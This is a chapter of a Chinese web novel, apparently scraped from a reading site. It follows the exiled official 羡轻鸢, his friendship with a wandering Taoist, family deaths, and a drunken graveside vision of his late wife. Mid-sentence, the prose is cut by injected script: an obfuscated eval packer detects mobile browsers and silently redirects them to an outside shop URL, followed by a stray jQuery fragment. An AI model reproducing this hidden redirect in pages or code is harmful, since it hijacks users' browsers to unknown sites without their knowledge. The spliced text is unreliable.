文趣网 > 其他小说 > 浮光渡厄 > 198. 小风多情吹枝雪
    一代帝师,自请辞官,去当了个云游道士,一定有他的道理吧。

    为什么呢。

    寒窗苦读,磋磨上涌,难道不就是为了出人头地吗。

    是觉得山顶的风景与预想的不同吗。

    羡轻鸢觉得,生活去了一半色彩,但是他还是想往上走。

    人活一世,不就是要干出点什么成绩吗。

    有无来世还未可知。

    活着就是要体验啊。

    他想知道什么叫一人之下万人之上。

    他聪慧,皇城里有无数人仰慕他。

    他俊朗,天下有无数女儿爱慕他。

    走街收赠花,驾车遇洒果。

    ‘花欢酿’成大喜之日相爱之人交杯喜酒。

    又有传说,仙人林春携爱花,皇城中,多次复刻无溪男女老少皆佩花盛景。

    人怕出名猪怕壮。

    这样有才华俊美的年轻男人,自然遭人嫉妒。

    他们说……

    “林春携,搜其诗词,‘问云不问月,问商不问贾’,其中‘商’字,难道不是指前朝皇姓‘商’吗?

    难道此子有逆反之心?

    此子词云,‘襄时多神将’,难道我川临没有神将吗?‘襄陵多香土’那么喜欢襄陵的坟堆啊?还是喜欢是旧朝?

    ‘春神慈悲面,或许商雁归’,其雁归,似乎是前朝战将小字,难道此子与前朝余孽有关联?”

    人正不怕影子斜。

    可坏话总让耳朵歪。

    不得重用。

    少为召见。

    固疆十四年十月,羡轻鸢一怒之下,自请离去。

    去了淮河南。

    青淮清欢地,旧时淮王朝故都。

    如今地名便叫清欢。

    他从四品的九庙寺少卿,自请为清欢知府。

    四品变五品,他又觉得没什么大不了的。

    他到任的时候,已经是深秋了。

    闲暇的时候会牵着年幼的儿子,出去走走。

    瞧着淮王宫遗址,不免唏嘘,二十八岁的他像个老头,啧啧的评价道:“书载淮王宫覆一百一十二里,今朝不见其辉煌,只得窥见史册简记,寿王暴虐,兄弟为彘,后妃美者为羹,掠臣妻,乱姊母,臣头为器,臣子为奴,食子髓脑,乱子华框,还为秘史。”

    牵着他手的孩子重复了一声,“秘史。”

    羡轻鸢也嗯了一声作为回应。

    新官上任,是要拜天神的。

    原本他不信这些。

    但是有人离去,他也相信会有鬼神,会有来世。

    他也总是猜疑。

    世间若有神明,为何光在天上看热闹啊!

    不是什么好神,不是什么好神!

    新官拜社稷,拜谷神,求安年。

    可见这神屁用没有。

    才拜完社稷谷神,次年就遭了冰雹。

    遭神遭神遭神!

    屁用没一点还建这破庙干什么!

    清欢下,有淮河河东县,他见灾年人饥,庙堂满供,灾年,神像下竟日日换鲜果。

    当即大怒,抡起大锤,将庙中神像砸了个稀巴烂。

    清欢子民吓的不得了。

    说什么,‘毁坏神像,是要遭报应的!’

    一待。

    二待。

    三待。

    清欢知府林春携没病没灾。

    人们就想,是神仙没发怒吗?

    仔细想了想。

    哦!

    林春携是知府大人,是大官。

    比县令还大的官呢。

    神仙也不敢对他怎么样啊。

    于是,清欢百姓从怕鬼神,变成了怕这清欢知府。

    于是羡轻鸢的日子更无趣了。

    下属怕他,民众也躲着他,连个说点知心话的都没有。

    儿子太小了。

    亡妻留下的那只叫‘大鱼’的猫,也逐渐吃得少了。

    固疆十六年,春天,再也寻不见大鱼的踪迹。

    春花又开,他也逐渐寡言。

    政务平常,他不过是机械的重复,再也没有初任为官时候的激荡。

    一日,羡轻鸢照例忙完公务,出来走走,官服也未换下,三年,清欢人早就熟记他的脸了。

    瞧春花,想春容,这些年连疏陵都未回过。

    正当羡轻鸢就着情绪要长叹一句时,远处传来大笑,抬头看去,瞧着是个脏脏的道士,鼻子上有个带毛痣,他笑道:“老爷壮年一步三叹,叫青年学子瞧见了还怎敢为官。”

    羡轻鸢认了出来,这人便是当初在边则卖好运符的那个家伙。

    没猜错的话,还是前帝师。

    羡轻鸢惊喜道:“是你啊!怎么到清欢了呢?”

    那个脏脏的道士也不答,只是朝手指上呸了一口唾沫,将头发抹了抹,整了半天造型。

    而后才慢慢悠悠将腰间挎着的布袋打开,从里边摸索了许久,掏出来一叠黄纸,上边密密麻麻画着凌乱的笔画,鬼画符一般,他道:“开心符,一纸万金难买啊,还是庆礼二十八年的状元亲自画的符,买了此符,开开心心保你不亏。”

    羡轻鸢哼了一声,将他手中那一叠夺了过来,“还万金难买……拿来吧你!”

    道士假意争夺一番,败下阵来,又莫名其妙说道:“既然你我曾有过一面之缘,我给你算一卦如何?”

    羡轻鸢今日腰间没有别扇子,手中拿着刚抢来的符纸,用符纸扇着风,听他这样说,便回道:“那你算吧。”

    道士询问,“你是几月几日生人,什么属相?”

    羡轻鸢道:“你不问这个,就算不出来吗?”

    道士说,“算卦怎么能不要八字呢。”

    羡轻鸢道:“我不说,你能算出来,就算你厉害。”

    道士想了想,认真打量了一下羡轻鸢的脸,说道:“我瞧你面相,算你近期有贵人来访,你可要好好珍惜这次机会啊!你命中注定官拜宰相,可要好好把握。”

    羡轻鸢问道:“什么贵人,不会是你吧?”

    道士嘿嘿一笑,“想知道?你请我吃顿饭,我就告诉你。”

    好吧。

    这癞道士就是来蹭饭的。

    在边则卖好运符,卖着卖着就不新鲜了。

    他是个云游道士。

    到处跑呗。

    今个在南边听曲,明个到北边登山,自在是自在,就是没钱。

    这正好云游到南淮,听说名满天下的林春携在此当知州。

    来看看。

    没想到曾经见过。

    那蹭饭吧。

    这林春携不是会酿酒吗。

    想尝尝。

    癞道士叫干卓。

    是个很有趣的人。

    羡轻鸢很感激他。

    在清欢任职时。

    羡轻鸢给他一口饭吃。

    干卓给他画开心符。

    有意思。

    前帝师,真是有意思。

    干卓其貌不扬。

    声音时而像寒鸦,时而像牛吼。

    偶尔夹夹嗓子,正常些。

    不正常时,总像年久失修的织布机。

    知府后宅,总是有个癞道士,这癞道士干卓,爱好不少,爱钓鱼,爱下棋,爱随地大小辩。

    干卓原本就是个流浪汉造型。

    云游道士,手中钱财用干净了,没办法住店,平日里就在野庙里休息,吃饭也是到村里看看有没有好心人施舍,呃……旁人也叫他要饭的。

    洗澡便方便些了,碰见小溪小河,就下水搓搓灰。

    到了清欢地,可把干卓美晕了。

    有吃有喝,玩乐有伴,衣衫干净,不受拘束。

    他正穿着一身干净的墨绿长衫,手指捻着胡子尖,哼着小曲,慢悠悠说着,“下棋如行事,兵来将挡水来土掩。”

    羡轻鸢手中拿着一枚白子,视线不在棋盘,却也下意识问道:“那土来呢?”

    “土来?挖坑啊。”棋盘旁有一叠梅子,拿起一枚填到嘴中。干卓催促,“你还走不走了知府大人。”

    羡轻鸢道:“不着急,瞧那只结网蛛,干卓道长,你觉得这点网能抓牢蛾子吗?”

    干卓瞧了一眼,“我觉得吧,有两种可能,一种是能抓牢,另一种,是抓不牢。”干卓突然想起来什么,手指敲了敲桌,“闲来无事,我教你算卦如何?”

    羡轻鸢回过头来,沉吟片刻,拒绝道:“算了,真不真准不准的另说,我若是学会了卜算,那定然要天天算,日日算,算个高兴的,算个好的,便沉溺在其中,未喜而喜不好。算个不高兴的,便天天想那事忧那事,人就活一世,为何要多此一举。”

    见他拒绝,干卓也未再坚持。

    固疆十五年到十六年,羡轻鸢在干卓的影响下彻底放飞自我。

    也不郁郁寡欢了。

    也不相思恨惬了。

    闲下来就跟着干卓爬树掏鸟窝,下河逮泥鳅,唱个曲,随意写的赞词传到了皇城,不知道怎么就得罪了皇城的红眼病,政敌一怒,联合起来稍一挑拨,本就离着皇城远的羡轻鸢直接被贬成了八品的县令。

    县令就县令。

    说起也是巧,任职的地方不远

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760104|207271||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,是高长欢的故乡,南淮青峪。

    羡轻鸢不觉得被贬是坏事。

    南淮青峪,是个好地方。

    青峪中峰峦重叠,云雾遮掩,夏日山中清凉,鸟鸣婉转,群山间有湖,东部沿海。

    贬到这来,妙啊。

    任期三年,又是老友的家乡,刚来羡轻鸢就激情满满,民众也爱戴他,父母离得近,也能时常探看。

    固疆一十七年。

    初春。

    羡轻鸢收到了一封沈逐写的信。

    很简短。

    信上只说。

    ‘春携,何时回家看看。’

    羡轻鸢心道:哦,沈逐是想我了。

    他挑了个日子,便往家走。

    路上碰见了私塾先生楚相文。

    他头上生了不少白发,瞧见自己,哽咽了下,掩面痛哭。

    羡轻鸢不解,“楚伯父,您怎么了?”

    不想楚相文摆着手,扭头走去。

    待羡轻鸢到沈氏世医堂时,便瞧见门匾上的写着‘祖传针灸’的小木牌被替换成了细白布。

    他急急推门进去,原来信迟,岳父离世,岳祖父心惊随之而去,信迟,羡轻鸢赶回来时早已经下葬,沈逐坐在内里,头上戴着孝布。

    见了他,一句话也没说。

    坐在那里,想笑一笑,结果嘴角抽动,本就哭的通红的眼里泪水一下子就涌了出来。

    羡轻鸢有些不知所措,他安慰他。

    亡妻的兄长,瞧见自己,也会想起自己早就故去的妹子吧。

    沈逐嚎啕大哭。

    羡轻鸢也没办法。

    就陪着他一起哭。

    给岳父岳祖父的牌位磕头。

    羡轻鸢跪在蒲团上,他想着,人死后,会去哪呢。

    会有来世吗。

    若是如怪志传说一样,人轮回,生生世世,不再记起前尘,那不就是世世白轮。

    夜里,羡轻鸢没回家,带着儿子,陪着沈逐。

    沈逐很喜欢林朝弘。

    大概是这孩子的眉眼像沈迎梅。

    也不像别的六七岁孩童那样皮闹。

    他很听话,总是乖乖的,静静的坐在羡轻鸢身边。

    三月,下起来了雪,院子里的花也少打理,总不开花的荷花缸里结着一层薄冰,内里的水不清,浊浊映着屋里昏暗的灯火。

    沈逐将屋门打开,“今日你歇在这屋吧。”

    羡轻鸢向着屋内看去,是沈迎梅闺时房间,内里打扫的干干净净,好像她还住在这一样。

    没什么变化。

    羡轻鸢点了点头,“你也早休息。”

    那个高瘦的人影在夜色里点了点头,往另一屋走去。

    羡轻鸢往屋内走,桌上还有个小花瓶。

    花瓶里斜插着一支早就萎垂、有些发烂发软的梅花。

    沈逐这样细致的人,也有粗心的时候啊。

    羡轻鸢将那支梅花从瓶中取出,扔掉。

    扔的时候,瞧见柜子顶还有两坛酒。

    年少时送她的酒,她还有两坛一直没舍得喝呀。

    雪下的越来越大了。

    风吹雪醉催梦,悠扬的笛声叫他恍恍惚惚,外头雪早停了,麻雀落在他肩头啾啾两声又飞走。

    羡轻鸢有些迷糊,酒水混着喝,醉的更厉害。

    路上风很凉,除了雪被踩得吱嘎响之外,那缕捉摸不到的笛声也寻不着了,远处有几个孩子嘻嘻哈哈的跑来跑去,这群小孩远远的朝着他笑。

    小孩们长什么模样,瞧不真切。

    他们问,“喂!你从哪来?要陪我们玩吗?”

    羡轻鸢摆摆手,“不玩,不玩。”

    小孩们大喊:“没意思!没意思!”

    羡轻鸢不理他们,接着往前走。

    忽然他瞧见远处一樱树,树下有人在跳舞。

    白裙泛光,月也添辉,尽态极妍。

    卿卿轻游,花艳难争。

    羡轻鸢喃喃道:“是迎梅啊……”

    他远远瞧着,朦胧雾气阻隔,风吹雪落下花枝,他连动都不敢动,生怕扰了雪中仙。

    耳边忽然传来孩子哭声,将他往外拽。

    羡轻鸢一下子清醒过来,手中拿着一坛子酒,瞧清楚了。

    原来是夜里醉酒,恍恍惚惚走到了坟地。

    沈家祖坟,自己正躺在雪里。

    离得远些,是乱坟岗,再远些,葬着些夭折的小孩子。

    天将亮了,羡轻鸢又笑又哭,问沈家新坟道:“岳父,是您吧?您心眼可真坏啊。还作个假的梅梅骗我。”